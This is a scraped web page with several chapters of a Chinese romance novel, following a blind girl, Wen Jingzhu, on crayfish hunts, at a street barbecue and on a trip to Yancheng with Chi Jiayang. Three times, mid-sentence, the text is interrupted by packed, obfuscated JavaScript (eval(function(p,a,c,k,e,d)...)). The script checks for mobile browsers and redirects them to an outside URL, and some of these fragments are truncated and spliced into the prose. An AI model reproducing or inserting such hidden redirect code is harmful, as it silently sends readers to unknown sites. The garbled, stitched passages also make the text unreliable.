温惊竹全程不用做什么,完全是被迟嘉洋紧紧地拉着手,陪他在水中一步一步地慢慢地走。他今天异常兴奋,兀自对她说着很多话:“小竹子,你先别动,你一动这水底里的泥就漫开了,就什么都看不见了……嘘,前面有一只小龙虾,你和我一起,就这样慢慢地挪过去……” “咔”一声,迟嘉洋出手快准狠,一夹子将那只暴露在外的小龙虾“捉拿归案”。 后勤也很给力,叶盛斌及时递上桶来,小龙虾落进桶里后不断发出挣扎的“咔哒咔哒”声。 温惊竹头皮发麻。 继续涉溪前行,偶有收获,但有一段水面开始变狭窄,只能堪堪容许一个人通过,溪流两旁的草也延伸到中间了,经过时草叶会扫到人身上来,这也意味着这里的飞虫更多更大、更加猖狂。 迟嘉洋走在最前面,紧紧地攥着温惊竹的手。 一只半个手掌大、类似蜻蜓的东西迎面撞到温惊竹脸上,她“啊”一声惊叫,飞快地用手把它拨弄开。但赶走了大的赶不走身旁无数只小的,有的掠过她耳边发出很大的“嗡嗡嗡嗡”声,却让人不知道往哪儿躲,迟嘉洋听到声音后看向她:“怎么了?” “刚才,有一只虫子……” “哦,你怕虫子?”他笑,伸手来关了她头上的灯,“在这里也不用开头灯了,一般都是灯光把虫子给吸引来的。” “嗯……” 温惊竹低低地应一声,却惊魂未定,只能继续跟迟嘉洋走。 此情此景之下,似乎连他一直紧紧地握着她手都不能使她多么开心了。 小龙虾落进桶里的声音不绝于耳,但即使被关掉头上的灯,还是不可避免有小飞虫不断往她身上撞,让她倍加难受。 而自上回被一个人丢在海里后,温惊竹从未觉得时间流逝得如此缓慢,从未觉得一条在村里迂回的小溪会如此绵长。 不知道过去多久,终于等来迟嘉洋一句:“走到头了。” 她暗自长长地吁出口气,心想:终于能离开这鬼地方了。 终于能回家,终于能洗漱干净后躺在柔软的大床上,终于不会再有小飞虫来骚扰她了。 可迟嘉洋又说:“我们到之前那个桥洞去看看有没有黄鳝吧?去年就在那儿抓到的,今年怎么一条都没有看见?” 桥就是他们过来的那条水泥路的其中一段,或许是终于不堪被这些小虫子围剿,也实在不想在这野外泥泞的道路上深一脚浅一脚了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588698|171777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为下一脚永远不知道是惊喜还是惊吓,温惊竹第一次主动和迟嘉洋提议:“我能不能先到桥上去等你们?” “嗯?”没想到她会有这样的想法,但迟嘉洋没有深究,好像还挺高兴,“可以啊!那我先把你送上去,但你千万要贴着桥边站,别乱跑,因为这里有车经过,其余地方也是一片黑,是真的一片黑哦,跑丢了是真没地方找。” “好,我肯定不乱跑。” 不知道是不是因为上次赶海的事,迟嘉洋心有余悸。 他牵着温惊竹的手,带她上了岸,沿小坡往桥上走,终于到坚实的水泥路面上了,温惊竹如释重负,迟嘉洋把她带到桥边,将她手放到大半个人高的水泥护栏上,最后叮嘱:“小竹子,你就站在这,千万别离开,我们就在这下面看看有没有黄鳝,好吗?” “好。” 迟嘉洋下去了,温惊竹又想起上次被一个人丢在海里的感觉,话说她身上这套水裤还是孟皓琦的。 但眼下情况比上次好太多,只是她一个人站在这里,夜风飕飕,还是有点冷。 这里也很静,像上次在海中一样静,只是此起彼伏的虫鸣代替了回忆里的浪潮涌动。在这样的静中,如果有一辆车从她身后驶过,发动机发出的轰鸣、车轮轧过路面的噪音都像是什么庞然大物蹭着她身后过去了。那声音也会被传得很遥远,因为四下里空空荡荡,什么建筑都没有。 桥下时不时传来迟嘉洋、叶盛斌和刘晓栋的声音,都带着回音:“看看那儿有没有啊?” “小心一点,要是吓跑了今天就再也抓不到了,你忘了去年的经历了么?” 连同三人涉水行走的声音,都在桥洞里带着回响,可以听出他们每一步的小心翼翼。 温惊竹又脑补出他们依靠头灯四处探照、缓慢拨开一些石头和水草的画面,若她是一条藏匿于某道石缝中的黄鳝,那她可真会被吓得瑟瑟发抖了。 可惜最后一无所获。 “或许是这个时候小龙虾出来了,黄鳝还没有出来。”迟嘉洋边说边往上走。 终于要打道回府了。 温惊竹尝试着自己摘头灯和脱水裤,毕竟被人帮过几次,她觉得自己会了,迟嘉洋感叹:“小竹子你真厉害!”便旋身和叶盛斌及刘晓栋查看他们今天的成果:小半桶小龙虾。 那些虾密密麻麻地挤在桶底,无数“咔哧咔哧”的声音重合在一起,听得温惊竹头皮发麻,叶盛斌又和刘晓栋将那些小龙虾尽数倒在地上,挑还活着的一只一只重新丢回桶里——“啪!”“咔嚓咔嚓!”“啪!”“咔嚓咔嚓!”…… 温惊竹将摘下的头灯与脱下的水裤递给迟嘉洋。 回去的路上,车后备箱里不断传出这样的声音:“咔嚓咔嚓”、“咔嚓咔嚓”…… 与后备箱仅一条椅背间隔,温惊竹在后座如坐针毡,对降下车窗的窗外强迫自己冷静,此时她连窗外那些小飞虫都不怕了,只希望风不断拂过她面庞,能减小脑海里一些不断从身后传来的令人抓狂的声音。 她心态鲜少如此崩溃过。 原来迟嘉洋带进她生活里的新鲜事,有有趣的,也有恐怖如斯的。 11. 梦中梦 先将抓到的小龙虾送回面剧,叶盛斌找了个特别大的盆,用水将它们暂时养起来。他们围着盆看了又看,相当满意:“再过几天就可以吃了。” 温惊竹毫无食欲。 回家后,她这次洗澡洗得格外认真,比平时足足多洗了十分钟,总害怕身上还粘着某只小飞虫。 可能因为累了,确切来说是心力交瘁,她躺到床上后很快入睡,可在连续不断的梦里,诸多龙虾挤在桶底的声音就像缠上了她:“咔嚓咔嚓”、“咔嚓咔嚓”…… 或许这算不上噩梦,但她次日醒来后还是有种被惊醒的感觉。吃了早饭,家里的阿姨按迟夫人吩咐告诉她每天的日期:“今天是5月20日,星期一,农历的4月13日,小满,天气晴。” 而后程老师来给她上钢琴课,她心里想着今天是5月20日的事。 她知道5月20日是个浪漫的日子,但她从不觉得这个日子和自己有什么关系,现在也没有关系,可她心里竟生出期待与好奇:迟嘉洋今天放学会不会带自己出去玩?玩什么?还是只是在面剧待着?那样也行,好歹是在一起的。若他晚上没回来,是不是就说明…… 挨到迟嘉洋放学的时间,他果然回来了,只是一回来就拉着温惊竹往外跑,但神经大条的他根本不在乎今天是什么“520”:“走,小竹子,今天我们还去抓小龙虾!” “什么?还去?”温惊竹脑袋发懵。 “对啊!”迟嘉洋理所当然,“小龙虾就出来活动一阵子,必须趁早抓,现在每天都能抓好多,越到后面就越抓不到了。” 温惊竹沉默。 坐上野马副驾后,她开口:“但是我,我……我不想去了。” 这是她第一次拒绝迟嘉洋吧? 因为鲜少拒绝过人,所以她说话都变磕巴。 “啊?为什么?”迟嘉洋震惊。 他当然觉得抓小龙虾是一件美事,带上温惊竹她应该感到开心才对,之前连他们打保皇她都在一旁津津有味,学着算牌和分析场上局势,有时候他让她猜谁是“保”,她还猜对了几次,可她竟然第一次不想参加他带她去的活动了,还是他最喜欢的抓小龙虾项目。 “为什么啊?小竹子?”他没急着启动车辆,而是刨根问底。 温惊竹酝酿了一会儿,才开口:“因为有很多小虫子,我不喜欢虫子,还有牛粪……我有点害怕那样的环境。” “啊,这样啊……”迟嘉洋稍一思索,“说白了还是你不能自己抓小龙虾,感受不到乐趣,对不对?” 但关于这一点,他也没有办法,只能想着解决她抵触的方面了。 温惊竹想说:不对,抓小龙虾她也不喜欢,尤其听那些小龙虾在桶里发出的动静她感到格外瘆得慌,昨夜那声音缠得她一晚上没有睡好,感觉小龙虾就像一种披着坚硬外壳、有着两只大钳子的大虫子。迟嘉洋发话了:“求求你了小竹子,你就陪我去吧!” 温惊竹不可思议。 他竟然为这事而求她,难道她陪他一起去抓小龙虾对他来说很重要吗? 她明明什么都做不了,还会拖他的后腿。 这样的惊讶让她浑身流淌的血液都更加灼热,迟嘉洋说:“就陪我去吧,小竹子,我以后都会对你好的。” 这话没有让温惊竹开口,而是让她的那份惊讶更深一层,更说不出什么。 “好不好?” “……好。” 迟嘉洋立刻踩着野马油门向面剧冲去:“好,小竹子,你放心,你害怕虫子今天就不给你戴头灯了,我在你旁边开着灯,这样它们都会被吸引到我这里,行吗?然后我记得叶盛斌店里有一些口罩,一会儿去找找,给你找一只戴上。” 温惊竹面对车窗外,没忍住扬了扬嘴角。 想起今天早上阿姨的话:今天是5月20日,星期一,农历的4月13日,小满,天气晴。 来到面剧,迟嘉洋立刻跟叶盛斌要口罩。叶盛斌与刘晓栋二人已经点好肯德基外卖,在去抓小龙虾的路上吃,真可谓争分夺秒。 就这样,一行四人再次携带好各种装备,乘刘晓栋那辆白色SUV出发了。 这次没有了头灯的光吸引飞虫,又有口罩保护,之前温惊竹连呼吸都要小心翼翼,现在自在多了。 下水之前的一段泥路上,迟嘉洋拿出十二分小心扶着她:“你放心,我头上有灯照着呢,地上什么东西全看得一清二楚,一定不会让你踩到什么。” 其实踩到什么也没关系,一会儿下小溪全被水给冲干净了,但温惊竹介意,他就要让她体验感好些。 就这样,又沿小溪走了一趟,又是小半桶小龙虾入库。这次他们也又去桥洞底下找黄鳝,温惊竹在上面等,等了足足有半个小时,几乎快睡着,却也没算白等——他们总算抓到了一条黄鳝。 “真是狡猾死了!就在去年那块大石头底下,可咱们昨天愣是没有发现。”迟嘉洋一边往上走一边抱怨。 叶盛斌笑说:“说不定咱们昨天来的时候它出门了呢。” “明天再来看看。” 温惊竹:“……” 不等她心里叫苦,刘晓栋先嚷嚷起来:“明天打死我我也不来了!” 温惊竹在心里说:我也不想来了。 迟嘉洋没说什么,几人收拾好东西,踏上归程。 可能是累着了,坐在前面的刘晓栋和叶盛斌异常沉默。其实温惊竹发现了,这两人都对抓小龙虾不怎么热衷,纯粹是陪这位迟大少爷。迟嘉洋忽然从后面直起身,拍拍刘晓栋的座椅靠背:“欸,你不是给你们老板开车吗?要是有一天,你们老板说给你二百块钱,让你陪他玩两个小时,你愿不愿意?” “两百块钱?玩两个小时?”他大声重复,“怎么的?他要捅我后面啊?” “哈哈哈哈哈!”坐在副驾驶位的叶盛斌发出爆笑,“那你也太便宜了点吧?栋栋?” “不是不是。”迟嘉洋连连摆手,制止了他们的不正经,“我说认真的,就普通陪玩。” “比如?陪什么?” “比如打牌啊,出去走走步啊,钓鱼啊,这种纯绿色的。” “两百块钱?两个小时?”刘晓栋再次重复,“纯绿色?就类似你举例的这些?不准搞花活。” “嗯。”迟嘉洋笃定。 总觉得有诈,但迟嘉洋都说到这份上了,他说:“行啊,那我不赚了么?我求之不得。” “好,好,那你现在在路边停车,把车给我开。” 车内三人都不知道他葫芦里卖的什么药,但也架不住他强烈要求。刘晓栋将车在路边停下,换迟嘉洋开。继续行驶了一段路后,他拐进加油站,跟出来的工作人员说:“92的,加200块钱。” 刘晓栋悟出什么,指着他的手直哆嗦:“迟嘉洋!你!” 迟嘉洋哈哈大笑:“200块钱买你明天晚上两小时,出来陪小爷我抓龙虾!” “你……” 刘晓栋气到说不出话。 迟嘉洋真太坏了。这么想着,温惊竹在后座没忍住跟着笑了一会儿。 “不仅给你加油,我再请你们喝羊汤,我饿了。”迟嘉洋说着,继续开刘晓栋的车往羊汤馆去。 第二天早上,温惊竹听阿姨对自己说:“今天是5月21日,星期二,农历的4月14日,天气晴。” 5月21日,和5月20日的寓意好像差不多,温惊竹暗自琢磨,结果连这两天的行程都几乎一模一样:抓小龙虾。 只是抓到的数量明显比前两天少了。 毕竟是沿着同一条小溪来回搜寻,哪怕再壮大的小龙虾家族估计都经不起迟嘉洋这么霍霍。 到5月22日晚,除去部分意外死亡的,剧本杀店门口已经有足足两大盆龙虾了,还有三条黄鳝,两长一短,够几人吃上一顿。 晚上带温惊竹出门时,迟嘉洋看她在自己的副驾驶位上神色凝重,不免好笑,对她说:“放心吧,小竹子,今天我们不去抓小龙虾了,今天我们炒小龙虾!” “炒小龙虾?”她想了想,“你们会?” 她回想起她吃过的小龙虾的味道,麻辣鲜香,感觉要添加的调料、制作的工序都不会简单,迟嘉洋肯定不会,难道是叶盛斌或刘晓栋还藏了这么手绝活? “不会。”迟嘉洋立刻心虚地笑了,“但是隔壁养发店的闵姐会。” “走吧,除了龙虾还有烧烤,我已经让他们提前买好材料了。烧烤有炉子,这我们可是会的,你就等着享口福吧!” 温惊竹笑了笑。 平日里叶盛斌会用一圈轮胎将他店门前的区域围起来,迟嘉洋到时按喇叭,他撤掉几个轮胎,由迟嘉洋将车停到店正门前,就不用迟嘉洋到处找车位了——这也算是他们平日里宠溺迟大少爷的表现之一吧。 但这次迟嘉洋多开了段路,将车停放在其他位置,带温惊竹步行往面剧门口。还未走近,温惊竹已经听到那边传来的音乐声和吵闹的人声,她很努力地分辨:叶盛斌、刘晓栋、仲晓雯、林侯,以及一个陌生的年轻女声。 她有点害怕,当下第一反应竟然是:会不会又是某个和迟嘉洋暧昧的女生,专门来吃迟嘉洋捉了三天的小龙虾。 走上前了,原来他们直接将店里的长桌及沙发椅搬到店门外,大家围坐一桌,除了刘晓栋坐在一边的台阶上负责烧烤,烤他们提前从超市买的肉串、火腿肠和玉米等。看见迟嘉洋带温惊竹过来,众人立刻热络地招呼:“哈喽啊,洋哥!小竹子!” “快来快来!一会儿可连龙虾壳都不剩了。”仲晓雯不知道在嚼什么,含混不清地说,但声音不小。 “你快闭嘴吧,龙虾都没上来呢,你就欺负小竹子看不见吧。”林侯话落,大家哈哈大笑。 温惊竹倒没有感到冒犯,弯起嘴角。 “闵姐——”仲晓雯扭头冲隔壁店大吼,闵姐就是那天然植物养发店的店主,正在里头炒小龙虾。 “马上——”屋内传出闵姐气壮山河的一声吼,堪比刘晓栋。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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刘晓栋正好烤好一把肉,迟嘉洋接过,递几串到温惊竹手里。闵姐这时提着一箱青啤从屋里趿拉着拖鞋出来了,又是那么豪迈地一坐、一放:“来,今天我们都不醉不归!” 撬瓶盖的声音不绝于耳,大家直接对瓶喝,除了对酒精过敏的迟嘉洋和不可能喝酒的温惊竹。 没一会儿黄鳝来了,可看着那黑黝黝、长长的几段东西,几人实在叫苦不迭,看着怪恶心的。 连代为烹饪的饭店老板都笑了:“没办法,这东西就是这样,好歹是你们自己抓的,你们尝尝呗!” 温惊竹听到身边迟嘉洋一声干呕,笑了。 亏他抓了那么长时间。 众人你一言我一语,啤酒瓶里冒着泡,烧烤炉飘香,冒出的白烟偶尔呛得刘晓栋歪过头去咳嗽几声,店内音响的音量被调得很大,放着些时下脍炙人口的歌。 初夏傍晚的风的吹拂中,温惊竹想象着这一片街景:不高甚至有些破旧的楼房,挨着楼边处会有黑乎乎污迹的街道,电线杆上杂乱的电线,连在绿化带里也肆意生长的植物,但天边是渐渐暗下去的漂亮的夕阳,时不时有车路过,也一定会有人路过,他们旁若无人地说笑大闹,小县城里最幸福的时刻莫过于此了。 天渐黑,风渐冷,几瓶啤酒下肚,能从大家的声音里听出醉意。 闵姐坐在迟嘉洋与温惊竹对面,开始大声叫嚷着要叫几个黑皮体育生来。海县这地方没有大学,只有职校,而其中练体育的不少,在那一片时常能看到光着膀子的青年沿马路跑步…… 迟嘉洋凑近温惊竹,小声和她说:“闵姐结婚了,有个孩子,但她男人出轨了,她就把孩子丢给她男人,她自己在这个店里生活。” 短短几句话,满满的故事。 温惊竹再听闵姐嚷嚷的那些话不免唏嘘:喜剧的内核果然是悲剧。 仲晓雯才不管那么多,高声附和。 她坐在闵姐身边,她们便开始讨论在抖音同城里刷到的男人,越聊越投机:“噢!你也刷到他了!我和你说,他……” “他真在海县吗?他身材真不错,那肌肉……” 越说声越低,一阵“咯咯咯”的笑。 温惊竹听着也不禁面露微笑。 她身旁的迟嘉洋异常缄默。 刘晓栋兀自醉醺醺地烤着肉,手因为酒精上头而愈发不稳,调料扬得到处都是;林侯和白钰的脑袋凑在一起叽叽喳喳就没分开来过,白钰偶尔娇嗔地打他一下,两人的嘴角始终挂在耳根。 在这样的氛围里,很容易思念一个人。 思念的人成为过去式或不可能的,便歇斯底里或异常沉默;思念的人在身边的,现在就是个甜甜蜜蜜的好时候,将来再回首很有可能是回忆里非常深刻的一笔。 坐在迟嘉洋另一边的叶盛斌探过身来,笑着问他:“想孟皓琦了?” 他声音不大,除了他和迟嘉洋就温惊竹得以听见。 可对于他们来说,她听见什么、没听见什么,都是没所谓的事。 迟嘉洋似乎笑了笑。 温惊竹等着迟嘉洋说些什么。 但他什么也没有说。 12. 梦中梦 —【6月1日周六烟城高考前】— 这是高考前的最后一个周末了。 海县却完全没有高考前的气氛,或许某座学校某个教室里的某张课桌上会有那么一点儿,但大多数人还是懒洋洋的——能不能考上什么学校,能不能离开这座县城,对他们来说似乎都没有今天晚上去台球厅还是网吧耍重要。迟嘉洋也仍旧是那副吊儿郎当的样,所以他和迟父迟母的关系直接降到冰点,周五晚上还大吵了一架。 吵完架,他赌气一般到温惊竹房间门口,敲门,温惊竹正躺在床上听小说,好半天才听到那响动。 她还穿着睡裙,蹑手蹑脚地将门开了道缝,猜到是迟嘉洋了。按说以迟嘉洋的脾气,她这么久才开门他该不高兴的,但现在听声音他是强扯出笑在说话:“小竹子,明天我们去烟城吧?” “什么时候?”程老师周末几乎都在烟城上课,所以她明天没有钢琴课。 “上午?十点左右出发?” “可是……你不是该高考了吗?” 她知道这是迟嘉洋现在最不愿听的话,但还是问了,迟嘉洋果然有点不耐烦:“我平时什么样子我爸妈他们心里还不清楚吗?非要在这最后几天来管我,光做个样子,有什么用?难道这几天装模作样地学一学,高考时就能考上一本了?再说,我这样的人,考上什么学校还有什么差别吗……” 他果然有怨气,温惊竹也不好再说什么了。 “怎么样,小竹子?你明天不学琴了吧?” 温惊竹摇摇头:“不学。” “那去不去?” 她何曾拒绝过迟嘉洋,除了第二次要去抓小龙虾时打过退堂鼓。 ——“去。” 次日出门前迟嘉洋似乎又和迟夫人大吵了一架,于是温惊竹被他拉着出门时有些后悔,仿佛她也变成了和他一起对抗家里的叛逆小孩。 迟夫人看着此情此景,叹了口气,却像是看见敌人押走个人质,只得叮嘱:“迟嘉洋,你好好照顾惊竹啊,别瞎折腾。” 迟嘉洋没应。 上了车后,海县的一切都被抛至脑后。高速路上听了会儿歌,迟嘉洋心情好些了,又是那熟悉的语气:“小竹子,我这次带你去一个新地方。” 温惊竹笑了笑。 但即使听这样的话一百遍,她也还是好奇。 其实她很想去斑马,想去那里和迟嘉洋一起听歌,那地方似乎承载了她太多特别的回忆,带着她与迟嘉洋刚认识不久时的色彩,虽然也有点不愉快的插曲,可她却不能主动说——她要是说她想去酒吧的话也太奇怪了。她更不好意思和迟嘉洋说,如果去的话能不能不要叫别人。 刚下烟城高速,迟嘉洋便驶进一地下停车场,听起来很静,不像是什么商场的,他告诉她:“这是我爸妈很早之前在烟城买的一个大平层,装修费了好大的劲,只是一直没来住,最近刚搬进一些家电,也不知道闲着放在这干什么呢?”他笑。 温惊竹不知道说什么,这似乎是他的家事。 其实她越来越明白一件事:迟嘉洋去做什么都带上她并不是因为他想带她,而是他需要一个人陪。 譬如现在来烟城散心,叫上叶盛斌和刘晓栋这样的大男人不合适,叫和他一起玩的那些女人又太暧昧,温惊竹这么一位特殊得像是一只小宠物的人选最好。 就像乘电梯进入房子后,温惊竹的确闻到了新房子里没住过人的那种很新很新的味道:淡淡的尘灰味,板材味,还有点木头的原香,混合在一起,除了让人鼻子有点不适外并不难闻,迟嘉洋打开各扇窗通风,既像是对她说,也像是随便对着什么说都可以——只要能有人听他说话就好了:“小竹子,你看,这是大厅,这是沙发,这边还有个卧室……今晚你可以睡这里。” 温惊竹摸索着在这屋子里走,太大了,根本走不到头,又有很多房间,她还不熟悉这里的布局与结构:“好。” 摸到那张沙发时,沾一手灰,她笑了。 迟嘉洋看过来,看她搓着手指,也笑:“就凑合着住一晚吧,我也懒得收拾了,谁知道以后再来住是什么时候呢?” 是啊,他高考完就要去上大学了。 他又捣鼓了一阵洗地机,在它的基站上给它起了个名字叫“迟管家”,任它自行开始工作,他叫温惊竹:“小竹子,我们出去吃点饭吧,再去商场买些东西。虽然只住这么一晚,有些东西少了还是不行的。” “好。” 两人出门,迟嘉洋找了家评价较高的小馆子,和温惊竹点了两碗米饭、一份炸虾仁和一份他们这里的招牌西红柿炒蛋。而后前往烟城最繁华的市中心,这里车愈发堵得厉害,几分钟才能挪一段,进入停车场时也能听到密集的车流声,只是这里的停车场入口弯弯绕绕,似乎还很狭窄,迟嘉洋说:“这个商场时间挺久了,所以地下停车场有点破,但算是烟城排名靠前的商场了。” 温惊竹轻轻地应一声:“嗯。” 商场内的环境果然很高级,温惊竹凭商场内的空气质量与味道便能判断出来。迟嘉洋拉着她手,先带她去超市,明明说只住一晚、不用买什么,可买起来就收不住了,他站在一片衣架前,让温惊竹摸:“小竹子,你摸摸,你觉得买什么样的好?” “小竹子,牙刷你想要粉色的还是蓝色的?白色的就算了吧,太普通了,但我用黑色的倒可以。” “小竹子,牙杯呢?你摸摸。” “小竹子,你摸摸这些毛巾哪个舒服?” “小竹子,你觉得我们要不要买个拖布?虽然家里已经有迟管家了……”就是那台刚被他起了名字、正在家里工作的洗地机。 “可买了拖布的话就要再买把扫帚吧……” “小竹子,你喝不喝酸奶?” …… 购物车里的东西越堆越多,有时候温惊竹帮着推一下,都快推不动了。 她眼眶突然湿湿的,真有种恍然隔世、在许多许多年之后、她和迟嘉洋一起住进一个新房子、共同出来采买生活用品的错觉。 可她怎么能有这样的想法? 她很快被自己这突如其来的想法给吓到了。愣神之中,迟嘉洋叫她:“小竹子?” 他似乎还在她面前挥了挥手,吸引她注意,她眼前那朦胧的色块便亮一阵、暗一阵,只是那亮与暗的对比并不鲜明,还能感受到由迟嘉洋所挥的手带出来的风,她笑了:“嗯,怎么了?” “你怎么愣神了?是不是买东西太无聊了,我们去结账吧。”迟嘉洋挺高兴的,置办完这些物品仿佛打了场胜仗,“我们先把这些东西送回车里,然后再去楼上逛逛吧,你想不想买衣服?” 不待温惊竹回答,他自顾自说下去:“快到夏天了,我倒是想买点新衣服。我姑姑给了我一张5000元的振华卡,我们随便刷。” “好。” 温惊竹恢复如常,跟他一起去结了帐:“不过小竹子,得辛苦你帮我拿些东西了。” 东西特别多,满满地装了三大袋,迟嘉洋挨个掂了掂,单手拿了两袋最沉的,让温惊竹提另一袋,两人各空出的一只手牵在一起,回到地下停车场,将“战利品”尽数装进车后备箱中。 “走,去买衣服吧。” 到楼上服装区,迟嘉洋拉着温惊竹逛男装。他看到感兴趣的衣服便试一试,屡屡张口,想问问温惊竹意见,可又想起来她看不见,于是作罢。 温惊竹每回都能感受到。 可她也没有办法。 这样的无力感,第一次特别鲜明是在第一次和迟嘉洋一起看电影时,第二次便是现在。 “这件,这件,我都试试吧。” “感觉这个挺好。” …… 他于是兀自试起来。 他买得很快,温惊竹也没真打算要买什么衣服,因为她不缺,或许也因为她看不见,所以对于穿什么这回事她并不怎么上心。迟嘉洋却没忘了要给她买,拉着她兴冲冲往女装区走:“小竹子,你听我说,让我给你买几身衣服吧,你总穿着这样的长裙子多腻啊?” “啊?” 这还是温惊竹第一次听人说这样的话。 其他人若是评论她衣服,基本是清一色的夸赞:太适合你了,真好看! 迟嘉洋不由分说拉着她走进一大牌店,取下各式各样比较中意的衣服在她身上比量。 衣服柔软的面料偶尔触碰到温惊竹身体,她能感觉出是一些T恤,迟嘉洋跟店员说:“这几件不错,有没有比较搭配的下半身?你给挑挑呗。” “好。”店员对这类事可谓得心应手,随手从一旁拿来一条黑色短裤,白色勾边、两侧往上收的设计,是当下很时兴的款,抖音上不少博主穿它跳舞,“这条怎么样?这是我们家当下卖得最火的款了,很多这个年龄段的小女孩都喜欢穿。” 温惊竹看不到,迟嘉洋却十分满意:“行!” “小竹子,你去试试?” 软软的面料进了温惊竹怀里,她有些不知所措,迟嘉洋再次看向店员:“她看不见,你能不能帮帮她?” “好。” 店员很温柔,手放在温惊竹背后引导着她:“走吧,小妹妹,我们去试衣间换一下衣服看看。” 又是前所未有的体验。 随店员进了一间单独的小屋,就是试衣间了,光线暗下来。温惊竹有些不好意思,店员轻柔地说:“你自己脱吧?一会儿我帮你换上。” 温惊竹点了点头。 算了,都是女生,她在心里鼓励自己,跨过那一道心理障碍,在店员的帮助下换上新衣服。 换好后的感觉太不一样了,主要是她的双腿,她鲜少穿过短裤,此时两条腿凉飕飕的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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真的……那么好看吗? 心里的不好意思逐渐被欣喜与不可置信所替代。 迟嘉洋挂了电话,晚上又叫范强出来吃饭。他拉着温惊竹的手在商场里走时,告诉她:“小竹子,你知道有多少人回头看你吗?” 温惊竹当然不知道,只是两条腿走起路时感觉凉凉的。 折腾了一天,终于回家了,两人都有些疲惫。 迟嘉洋归纳着从超市买到的生活用品,先将温惊竹的必备用品放进她房间,温惊竹关上门,在侧卧里摸索着洗漱完毕,躺到床上去,准备入睡了。 是和迟家差不多一样的柔软又宽大的床,但经过这样特别的一天,温惊竹无论如何都难以睡着,白天的各个片段在她脑海中反复,忽然听到敲门声。 她以为听错了。 又仔细地听了听,确实有敲门声,她开口:“请进。” 无疑是迟嘉洋。 门开了,迟嘉洋说:“小竹子,我睡不着。” 他走进屋里:“小竹子,我可以和你一起睡吗?我自己带了被子来。你再往边上点,你就躺在那边,我躺在床的这边,行不行?” “……行。” 温惊竹往床边挪了挪。 听见迟嘉洋在另一边轻轻躺下的声音。 她心脏跳得很快。 这张双人床大得离谱,他们两个这样一人躺一边,中间仿佛隔了座太平洋。房间里异常安静,迟嘉洋先开口:“小竹子,我真不知道我大学会考到哪儿去。” 但肯定不在海县。 “你说,会在烟城吗?”他仿佛是自言自语,“要是在烟城的话,就能常住在这个房子里了,我还能经常带你来玩。” 说着说着,他自己就笑了。 温惊竹也知道这是不可能的事。因为她就在烟城长大,总听爸爸妈妈聊天,知道烟城的几座大学,虽然不是什么双一流,但也都是不错的院校,迟嘉洋肯定考不上的。 所以他们一定要分别了。 她的生活也多半只剩下钢琴了。 那样如同黑白琴键一样单调的生活,如同过去的17年一样。 他们会相互间慢慢遗忘吗? 不,她肯定不会忘记迟嘉洋。因为迟嘉洋不知道他对她来说有多重要。 但迟嘉洋就不一样了。 他的身边永远有人环绕,数不胜数的朋友,新的旧的,还有各式各样青睐他的异性,真心的,逢场作戏的,他都乐此不疲。 许多年之后,他会不会再带着他真正要一起生活的人住进这个房子?或许和现在一样,只是来烟城玩一玩、顺带住的,但此时此刻他愿意带她来这里看看,她也满足了,温惊竹这么想。 然后她觉得,她真不该胡思乱想奢望些有的没的。 13. 梦中梦 —【6月18日夜钓】— 高考完后,迟嘉洋情绪一直消沉。 但对于他这样的少爷来说,阴晴不定并不是什么大事,就像自然界中天气的变化,再正常不过。 不用温惊竹伤感着待他上大学后两人会分道扬镳,月初从烟城回来后,那天的经历就像一场梦,他与她之间的相处回到从前,并未因为两人有过一段特别的回忆而有什么变化。他依旧带她去面剧坐坐,聊聊天、打打牌,没再有什么新奇事。 只是当人都走差不多后,他总不急着回家,而是伤春悲秋地在面剧的沙发上坐着,泡茶,和叶盛斌有一搭没一搭聊天,合着店内音乐,流露出他那股烦闷。 这时候温惊竹总觉得特别无聊,但又不能催着回家,便缩在沙发的一角哈欠连天——时间久了,她在这店里也不那么拘谨了。 这段时间迟嘉洋又迷上钓鱼。 他立刻购入了全套高端装备,常常夜不归宿,于是刘晓栋和叶盛斌又开始跟少爷一起钓鱼了。 他钓鱼从不带温惊竹,因为钓鱼的环境和抓小龙虾差不多,而且一坐就好久,温惊竹既看不见浮标又看不见他钓上来的鱼,陪他坐在那儿干什么呢?并且夏日里白天晒得慌,他基本都晚上去,温惊竹白天要练琴,晚上要睡觉的。 可有一天晚上,在面剧,迟嘉洋一直待到快零点,仰在沙发上,泡着茶,还在那儿有气无力地和叶盛斌聊天,叶盛斌也有点受不了了:“行了,你就别老在那儿胡思乱想了,过几天孟皓琦就放暑假回来了,嗯?” 一个上扬的尾音,带着笑,暗示着他们两个才懂的意思。 迟嘉洋笑了笑。 他一下从沙发上坐起来:“走!钓鱼去!” “欸,小竹子,你去不去?” 看到偎在沙发另一边昏昏欲睡的温惊竹,他才想起她这号人似的。 温惊竹如梦初醒,思考着,虽然她明天没有钢琴课,可也不愿跟他们一起去熬大夜,迟嘉洋说:“要不先把你送回家?” 他语气里分明不愿意,送她回去还要再折腾一趟。 “我,去吧。”她做出决定。 迟嘉洋笑了:“好。我给你找个舒服的折叠椅,能半躺下那种,再给你带几支香,我和你说,那些香一根有两根手指那么粗,烧在旁边就不怕虫子来了,什么虫子都不敢靠近你。” 温惊竹笑了笑。 方才叶盛斌提到孟皓琦暑假就要回来,仿佛一锤定音,为温惊竹下定什么宣判。 